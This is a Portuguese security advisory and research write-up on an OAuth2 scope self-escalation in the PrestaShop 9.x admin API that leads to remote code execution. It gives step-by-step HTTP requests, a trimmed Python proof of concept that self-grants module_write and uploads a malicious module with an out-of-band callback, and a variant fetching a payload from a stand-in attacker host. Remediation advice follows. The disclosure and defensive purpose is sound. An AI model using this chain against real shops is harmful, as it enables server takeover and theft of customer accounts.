chu@antisec:~/research$

← ../ prestashop-admin-api-scope-privesc

chu@antisec:~/research$ cat prestashop-admin-api-scope-privesc

prestashop 9.x — autoescalada de escopo oauth2 na admin api → rce

resumo: a admin-api (oauth2, client_credentials) permite que um client de baixo privilégio se conceda escopos que não possui. a operação de criar/editar api clients — guardada apenas pelo escopo api_client_write — grava no client um array scopes totalmente controlado pelo chamador, sem verificar o que ele já detém. um token que só tinha api_client_write cria um client com module_write, emite um token para ele e chega a rce (instalar módulo = php rodando como www-data), takeover de contas de clientes (customer_write) e ssrf full (upload-source). afeta 9.0.0–9.2.0; ≤ 8.2.x não afetadas. sem sessão de admin envolvida — uma credencial de integração vazada basta.


o bug

a checagem de delegação que não existe

o prestashop 9 traz uma nova admin api em /admin-api, construída sobre api platform 3, oauth2 (client_credentials) e uma camada de comandos cqrs. cada operação é atrelada a um ou mais escopos no formato {entity}_{operation} — product_read, module_write, e por aí vai. numa instalação padrão do 9.1.x/9.2.x a api já vem ativa de fábrica e só é exigida sobre https.

por design, o confinamento é aplicado em dois pontos: o servidor oauth2 limita cada token à própria lista de escopos armazenada do client no momento da emissão, e um listener confere o escopo exigido pela operação a cada request. o mecanismo é sólido. o defeito é que a única operação que define a lista de escopos de um client — POST /admin-api/api-clients e PATCH /admin-api/api-clients/{id} — é guardada apenas por api_client_write, um escopo comum e atribuível, e ninguém verifica se o chamador detém os escopos que está gravando. cwe-269 clássico: improper privilege management (gestão inadequada de privilégios).

● EditApiClientCommand.php php · a única validação é is_string
// src/Core/Domain/ApiClient/Command/EditApiClientCommand.php:94
public function setScopes(?array $scopes): self
{
    if (count($scopes) !== count(array_filter($scopes, 'is_string'))) {
        throw new ApiClientConstraintException('Expected list of non empty string for scopes', ...);
    }
    $this->scopes = $scopes;          // no check against the CALLER's own scopes
    return $this;
}

dois detalhes pioram a situação em vez de salvá-la. primeiro, os escopos submetidos são validados a jusante contra o catálogo de escopos instalados (#[InstalledApiResourceScope]), então só escopos reais e instalados podem ser atribuídos — mas nenhuma camada confere se o chamador os detém. essa checagem de delegação ausente é o bug inteiro. segundo, o corpo da request é desnormalizado direto sobre o comando cqrs (um ObjectNormalizer sem ALLOW_EXTRA_ATTRIBUTES => false, sendo o próprio comando o tipo de input), então o array scopes do json chega intacto em setScopes() — um sumidouro de mass-assignment de livro didático, cwe-915.

no próximo pedido de token, o ScopeRepository::finalizeScopes() limita os escopos solicitados à lista armazenada do client — exatamente a lista que o atacante acabou de reescrever — então a escalada é honrada, e daí em diante toda checagem de module_write passa.


cadeia de ataque

api_client_write → www-data

module_write é execução de código por design: instalar um módulo prestashop significa extrair um arquivo dentro do diretório modules/ na raiz web e carregar a classe php dele, e o php executa statements de topo e o construtor imediatamente. o module manager ainda tem hard-coded uma permissão para qualquer api client carregando module_write. a cadeia são quatro requests:

  client de integração              admin api                          host prestashop
    (api_client_write)                  │                                     │
    │                                   │                                     │
    │ POST /admin-api/access_token      │                                     │
    │ scope=api_client_write  ─────────►│  token T0 (baixo privilégio)        │
    │                                   │                                     │
    │ POST /admin-api/api-clients       │                                     │
    │ scopes=[module_write,…] ────────►│  sem checagem de delegação:         │
    │ ◄──────── 201 {secret} ───────────│  escopos persistidos como enviados  │
    │                                   │                                     │
    │ POST /admin-api/access_token      │                                     │
    │ scope=module_write  ─────────────►│  token T1 — finalizado contra a     │
    │                                   │  lista reescrita pelo atacante      │
    │ POST /admin-api/modules/          │                                     │
    │      upload-archive  Bearer T1 ──►│── unzip em modules/ ───────────────►│
    │                                   │   require() → o php executa         │
    │ ◄──────── uid=1000(www-data) ────────── execução de código ───────────│
fig 01 — fluxo da autoescalada: reescreva seu próprio conjunto de escopos, emita um token, faça upload de um módulo. sem login de admin em lugar nenhum.

alvo abaixo: uma instalação limpa e padrão do prestashop 9.2 sobre https real, toda request passando pelo burp. ponto de partida: um client provisionado para uma integração de baixa confiança, com o escopo único api_client_write. a loja em si não é tocada — o ataque vive inteiramente na admin api dela.

Loja padrão do PrestaShop 9.2 (tema hummingbird), o alvo do ataque
fig 02 — o alvo: uma loja prestashop 9.2 padrão (tema hummingbird). a admin api dela é acessível via https.

passo 1 — um token com o único escopo que temos.

● step1-token.http http
POST /admin-api/access_token HTTP/1.1
Content-Type: application/x-www-form-urlencoded

grant_type=client_credentials&client_id=lowpriv&client_secret=<SECRET>&scope=api_client_write
Burp Repeater: POST /admin-api/access_token com scope=api_client_write retorna HTTP 200 e um token Bearer
fig 03 — passo 1 no burp repeater: o client de baixo privilégio recebe um bearer token carregando apenas api_client_write.

passo 2 — a vulnerabilidade primária: reescrever o conjunto de escopos do nosso próprio client. o servidor responde 200 e ecoa de volta.

● step2-escalate.http http · sem checagem de posse
PATCH /admin-api/api-clients/1 HTTP/1.1
Authorization: Bearer <token from step 1>
Content-Type: application/json

{"scopes":["api_client_write","module_write","customer_write"]}

HTTP/1.1 200 OK
{ ... "scopes":["api_client_write","module_write","customer_write"] ... }
Burp Repeater: PATCH /admin-api/api-clients/1 com Bearer de baixo privilégio e body scopes [api_client_write, module_write, customer_write] retorna HTTP 200 ecoando os escopos escalados
fig 04 — a escalada: um token detendo apenas api_client_write reescreve o próprio conjunto de escopos; http 200 ecoando module_write + customer_write.

passo 3 — emitir um token novo; o finalizeScopes agora concede os escopos autoatribuídos, e o jwt decodificado prova que a fronteira de privilégio foi cruzada.

● step3-token.http http · jwt payload
POST /admin-api/access_token
grant_type=client_credentials&client_id=lowpriv&client_secret=<SECRET>&scope=module_write%20customer_write

{ "aud":"lowpriv", "scopes":["is_authenticated","module_write","customer_write"] }
Burp Repeater: POST /admin-api/access_token com scope=module_write customer_write retorna HTTP 200 e um novo token Bearer
fig 05 — um novo token é emitido; os escopos autoatribuídos agora são de primeira classe.

passo 4 — o mesmo upload de módulo é rejeitado para o token de baixo privilégio e aceito para o escalado: um antes/depois limpo num único endpoint. o php do módulo plantado roda no load e a saída do comando volta out-of-band.

● step4-rce.http http · module_write = execução de código
POST /admin-api/modules/upload-archive   (bearer low-priv)   → 403 {"detail":"Invalid scope."}
POST /admin-api/modules/upload-archive   (bearer escalated)  → 201 {"technicalName":"pocmod…"}

# the module's php runs on load; output captured out-of-band:
RCE @ host :: uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
Burp Repeater: POST /admin-api/modules/upload-archive com o Bearer de baixo privilégio retorna HTTP 403 Invalid scope
fig 06a — antes: o upload com o token de baixo privilégio → 403 invalid scope.
Burp Repeater: o upload idêntico com o Bearer escalado retorna HTTP 201 Created e o módulo é instalado
fig 06b — depois: o upload idêntico com o token escalado → 201 created = execução de código.

a variante upload-source ({"source":"http://attacker/evil.zip") faz o próprio servidor buscar o arquivo — ssrf completo alcançando serviços internos e metadata de cloud — e depois executa o módulo buscado. customer_write chega ao POST /admin-api/customers para criar ou editar qualquer cliente com uma senha escolhida pelo atacante.


poc

só em lab · enxuto

apenas biblioteca padrão, sem dependências; toda request ao alvo passa por um proxy interceptador e o script se recusa a rodar sem ele. enxuto, só as partes que importam — o script completo acompanha o advisory. rode apenas contra uma instância que seja sua.

● poc.py python · enxuto · stage 1 + stage 2
#!/usr/bin/env python3
# poc.py — prestashop admin api: oauth2 scope self-escalation → rce (>= 9.0.0)
# stdlib only. all target traffic goes through burp (default 127.0.0.1:8080);
# the script exits if the proxy listener is unreachable.

def jwt_scopes(token):
    p = token.split(".")[1]; p += "=" * (-len(p) % 4)
    return json.loads(base64.urlsafe_b64decode(p)).get("scopes", [])

def get_token(c, cid, secret, scope):
    st, body = c.form("/admin-api/access_token", {
        "grant_type": "client_credentials", "client_id": cid,
        "client_secret": secret, "scope": scope})
    try:    return json.loads(body).get("access_token")
    except Exception: return None

# stage 0 — a token with the only scope we hold
t0 = get_token(c, args.client_id, args.client_secret, "api_client_write")

# stage 1 — PRIMARY VULN: self-grant scopes we do not hold (create-based:
# api_client_write also reaches POST /api-clients, no numeric id needed)
esc_cid = "escpoc_%d" % int(time.time())
st, body = c.json_req("POST", "/admin-api/api-clients", {
    "clientId": esc_cid, "clientName": "escpoc", "enabled": True,
    "lifetime": 3600,
    "scopes": ["api_client_write", "module_write", "customer_write"]}, token=t0)
new_secret = json.loads(body).get("secret")   # 201 — nobody checked caller authority
t1 = get_token(c, esc_cid, new_secret, "module_write customer_write")

if "module_write" in jwt_scopes(t1):
    print(">>> PRIVILEGE ESCALATION CONFIRMED: api_client_write -> module_write")

# stage 2 — module_write = code execution: before/after on one endpoint.
# the planted module writes its command output out-of-band on load.
zipb = build_module_zip("pocmod", proof, args.cmd, args.callback)
st, body = c.multipart("/admin-api/modules/upload-archive", t0, "archive", "poc.zip", zipb)
print("  low-priv upload  -> HTTP", st)       # 403 Invalid scope.
st, body = c.multipart("/admin-api/modules/upload-archive", t1, "archive", "poc.zip", zipb)
print("  escalated upload -> HTTP", st)       # 201 = the module's php ran
# --callback serves a built-in listener: ">>> RCE CONFIRMED" as the web user
Console do PoC rodando end-to-end: token com api_client_write, autoescalada para module_write+customer_write (PRIVILEGE ESCALATION CONFIRMED), upload 403 e depois 201, e prova de RCE out-of-band uid=1000(www-data) (RCE CONFIRMED)
fig 07 — o poc automatizado rodando a cadeia completa end-to-end: escalada confirmada no jwt, upload 403 → 201, rce provado out-of-band como uid=1000(www-data).

impacto

o que o atacante leva

quem está exposto: qualquer loja 9.x em que uma integração, app ou parceiro detenha api_client_write — e no 9.1.x/9.2.x a admin api já vem ligada de fábrica, então o único pré-requisito é essa uma credencial. ≤ 8.2.x não é afetado (sem gestão de clients via api). verificado dinamicamente em instalações limpas e padrão do 9.1.4 (última estável) e 9.2.0; a escalada em si também provada no 9.0.0. como a api e o código que ela executa compartilham da mesma autoridade www-data, isso pontua cvss 3.1 8.8 high (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) — defensível como 9.9 critical com S:C se o passo de escopo-para-código-no-so for tratado como travessia de fronteira. uma loja que concede a uma integração o escopo api_client_write, de aparência inofensiva, está na prática concedendo execução de código no host — uma exposição material gdpr/lgpd.


timeline de disclosure

coordenada · em andamento

remediação

para devs + lojistas

se você constrói uma api que distribui capacidades

  • adicione a checagem de delegação: ao criar ou editar um client, rejeite qualquer escopo solicitado que o chamador autenticado não detém ele próprio ou não está autorizado a delegar. validar apenas contra o catálogo de escopos é necessário, mas não suficiente.
  • nunca deixe um principal atribuir privilégios que ele não detém. considere guardar a gestão de clients atrás de um escopo administrativo dedicado que ele próprio não possa autoatribuir.
  • desative mass assignment: ALLOW_EXTRA_ATTRIBUTES => false e/ou dtos de input explícitos com uma allow-list, em vez de vincular o corpo da request direto a um comando.
  • torne as checagens de escopo deny-by-default: uma operação que não declara escopos não deve ser alcançável por token nenhum, e um lint de ci deve falhar qualquer operação sem um conjunto de escopos não vazio.
  • respeite enabled ao resolver clients e implemente revogação de token de verdade — um client desabilitado não pode continuar emitindo tokens funcionais.
  • trate a instalação de módulos como uma capacidade separada e de alta confiança: escopo dedicado, inalcançável por autoconcessão, e considere assinatura de módulos.

se você opera uma loja prestashop 9.x hoje

  • trate api_client_write como um privilégio administrativo e não o entregue a integrações de terceiros até que uma release corrigida seja lançada.
  • audite ps_api_client.scopes atrás de clients cujo conjunto de escopos excede o que quem os criou pretendia — especialmente qualquer client de baixa confiança que agora detenha module_write, customer_write ou webservice_key_write — e rotacione tudo o que você mesmo não criou.
  • guarde segredos de integração num secret manager, não numa planilha chamada senhas-final-v3. o client secret é mostrado uma vez na criação e depois vive na config da integração; ele vaza por git, logs de ci, screenshots e tickets de suporte.
  • alerte em PATCH/POST para /api-clients que mudem scopes, especialmente quando seguidos de um upload de módulo. essa única linha de log pega essa classe inteira.
  • atualize para a release corrigida assim que ela estiver disponível e reaudite cada api client depois — escopos autoconcedidos antes do patch não se retiram sozinhos.